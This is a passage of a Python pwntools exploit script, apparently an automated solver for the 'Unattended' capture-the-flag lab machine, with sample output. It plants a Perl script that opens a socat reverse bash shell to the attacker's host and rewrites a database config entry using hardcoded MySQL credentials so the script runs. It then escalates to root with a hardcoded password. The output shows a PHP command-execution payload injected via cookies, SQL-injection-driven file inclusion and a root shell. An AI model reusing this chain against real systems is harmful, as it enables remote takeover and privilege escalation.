wwwdata_shell.sendline("printf '#!/usr/bin/perl\nexec(\"/usr/bin/socat exec:bash,pty,stderr,setsid,sigint,sane tcp:" + LHOST + ":" + str(LPORT2) + "\");\n' > /var/lib/php/sessions/a/checkrelease.pl")
log.info("Making script executable...")
wwwdata_shell.sendline("chmod +x /var/lib/php/sessions/a/checkrelease.pl")
log.info("Modifying db in order to execute our perl script... Now, please wait for a minute...")
wwwdata_shell.sendline("mysql -u nestedflanders -p'1036913cf7d38d4ea4f79b050f171e9fbf3f5e' -e 'update config set option_value=\"/var/lib/php/sessions/a/checkrelease.pl;\" where option_name=\"checkrelease\"' neddy;")
guly_shell = listen(LPORT2, bindaddr=LHOST, timeout=20).wait_for_connection()
if response == "2":
guly_shell.interactive()
guly_shell.exit()
if response == "3":
guly_shell.sendline("su - root")
guly_shell.recvuntil("Password:")
guly_shell.sendline("132f93ab100671dcb263acaf5dc95d8260e8b7c6")
guly_shell.interactive()
guly_shell.exit()
'''
EXAMPLE OUTPUT:
$ python2 autopwn_unattended.py
[*] LHOST: dead:beef:2::12d0
What shell do you want?
[1] www-data@unattended
[2] guly@unattended
[3] root@unattended
[4] Exit
Please enter a number 1-4: 3
[+] Trying to bind to dead:beef:2::12d0 on port 60000: Done
[+] Waiting for connections on dead:beef:2::12d0:60000: Got connection from dead:beef::250:56ff:feb9:880a on port 56102
[*] Injecting session via cookies: Status code 200
[*] Cookies: {'PHPSESSID': 'te3d32j80hdvrp8a63luu1cmk3', 'user_name': '<?php passthru($_REQUEST[cmd])?>'}
[*] LFI via SQLI status code: 200
[+] Testing RCE: SUCCESS
[*] Writing perl script: /var/lib/php/sessions/a/checkrelease.pl
[*] Making script executable...
[*] Modifying db in order to execute our perl script... Now, please wait for a minute...
[+] Trying to bind to dead:beef:2::12d0 on port 60001: Done
[+] Waiting for connections on dead:beef:2::12d0:60001: Got connection from dead:beef::250:56ff:feb9:880a on port 53594
[*] Switching to interactive mode
root@unattended:~# $
'''